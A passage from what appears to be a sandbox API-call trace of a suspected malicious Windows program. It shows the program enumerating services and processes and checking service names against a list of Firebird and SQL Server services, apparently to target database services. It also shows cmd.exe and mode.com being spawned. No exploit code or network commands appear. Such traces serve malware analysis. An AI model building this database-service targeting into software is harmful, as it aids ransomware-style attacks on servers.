lpString2="RpcSs") returned -1 [0234.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0234.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0234.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0234.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0234.883] lstrlenW (lpString="SamSs") returned 5 [0234.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0234.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0234.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0234.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0234.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0234.883] lstrlenW (lpString="Schedule") returned 8 [0234.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0234.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0234.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0234.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0234.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0234.883] lstrlenW (lpString="SecurityHealthService") returned 21 [0234.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0234.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0234.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0234.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0234.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0234.883] lstrlenW (lpString="SENS") returned 4 [0234.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0234.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0234.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0234.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0234.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0234.884] lstrlenW (lpString="ShellHWDetection") returned 16 [0234.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0234.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0234.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0234.884] lstrlenW (lpString="Spooler") returned 7 [0234.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0234.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0234.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0234.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0234.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0234.884] lstrlenW (lpString="StateRepository") returned 15 [0234.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0234.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0234.884] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0234.884] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0234.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0234.884] lstrlenW (lpString="SysMain") returned 7 [0234.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0234.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0234.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0234.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0234.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0234.884] lstrlenW (lpString="SystemEventsBroker") returned 18 [0234.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0234.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0234.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0234.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0234.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0234.885] lstrlenW (lpString="Themes") returned 6 [0234.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0234.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0234.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0234.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0234.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0234.885] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0234.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0234.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0234.885] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0234.885] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0234.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0234.885] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0234.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0234.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0234.885] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0234.885] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0234.885] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4112688 | out: hHeap=0x670000) returned 1 [0234.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4bc [0234.892] Process32FirstW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.893] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.893] lstrlenW (lpString="System") returned 6 [0234.893] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.894] lstrlenW (lpString="smss.exe") returned 8 [0234.894] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.356] lstrlenW (lpString="csrss.exe") returned 9 [0235.356] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.379] lstrlenW (lpString="wininit.exe") returned 11 [0235.380] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.380] lstrlenW (lpString="csrss.exe") returned 9 [0235.380] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.381] lstrlenW (lpString="winlogon.exe") returned 12 [0235.381] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.381] lstrlenW (lpString="services.exe") returned 12 [0235.381] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.382] lstrlenW (lpString="lsass.exe") returned 9 [0235.382] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0235.382] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0235.382] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0235.383] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0235.383] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.384] lstrlenW (lpString="svchost.exe") returned 11 [0235.384] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.384] lstrlenW (lpString="svchost.exe") returned 11 [0235.384] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.385] lstrlenW (lpString="dwm.exe") returned 7 [0235.385] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.385] lstrlenW (lpString="svchost.exe") returned 11 [0235.385] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.386] lstrlenW (lpString="svchost.exe") returned 11 [0235.386] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.386] lstrlenW (lpString="svchost.exe") returned 11 [0235.386] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.387] lstrlenW (lpString="svchost.exe") returned 11 [0235.387] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.388] lstrlenW (lpString="svchost.exe") returned 11 [0235.388] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.388] lstrlenW (lpString="svchost.exe") returned 11 [0235.388] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.389] lstrlenW (lpString="svchost.exe") returned 11 [0235.389] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.389] lstrlenW (lpString="svchost.exe") returned 11 [0235.389] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.390] lstrlenW (lpString="svchost.exe") returned 11 [0235.390] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.390] lstrlenW (lpString="svchost.exe") returned 11 [0235.391] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.391] lstrlenW (lpString="spoolsv.exe") returned 11 [0235.391] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.392] lstrlenW (lpString="svchost.exe") returned 11 [0235.392] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.392] lstrlenW (lpString="audiodg.exe") returned 11 [0235.392] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.393] lstrlenW (lpString="sihost.exe") returned 10 [0235.393] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.393] lstrlenW (lpString="svchost.exe") returned 11 [0235.393] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.394] lstrlenW (lpString="taskhostw.exe") returned 13 [0235.394] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0235.394] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0235.395] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0235.395] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0235.395] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0235.396] lstrlenW (lpString="Memory Compression") returned 18 [0235.396] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.396] lstrlenW (lpString="explorer.exe") returned 12 [0235.396] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.397] lstrlenW (lpString="SearchUI.exe") returned 12 [0235.397] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.397] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0235.397] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.398] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0235.398] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.399] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0235.399] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0235.399] lstrlenW (lpString="finbbp.exe") returned 10 [0235.399] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0235.400] lstrlenW (lpString="cmd.exe") returned 7 [0235.400] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0235.400] lstrlenW (lpString="conhost.exe") returned 11 [0235.401] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0235.401] lstrlenW (lpString="mode.com") returned 8 [0235.401] Process32NextW (in: hSnapshot=0x4bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0235.402] CloseHandle (hObject=0x4bc) returned 1 [0235.402] Sleep (dwMilliseconds=0x1f4) [0236.100] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aac68 [0236.101] EnumServicesStatusExW (in: hSCManager=0x41aac68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0236.102] GetLastError () returned 0xea [0236.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4113690 [0236.102] EnumServicesStatusExW (in: hSCManager=0x41aac68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4113690, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4113690, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0236.103] CloseServiceHandle (hSCObject=0x41aac68) returned 1 [0236.103] lstrlenW (lpString="AppXSvc") returned 7 [0236.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0236.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0236.103] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0236.103] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0236.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0236.103] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0236.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.103] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0236.103] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0236.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0236.103] lstrlenW (lpString="Audiosrv") returned 8 [0236.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0236.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0236.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0236.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0236.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0236.104] lstrlenW (lpString="BFE") returned 3 [0236.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0236.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0236.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0236.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0236.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0236.104] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0236.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0236.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0236.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0236.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0236.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0236.104] lstrlenW (lpString="CDPSvc") returned 6 [0236.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0236.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0236.104] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0236.104] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0236.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0236.104] lstrlenW (lpString="ClickToRunSvc") returned 13 [0236.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0236.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0236.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0236.104] 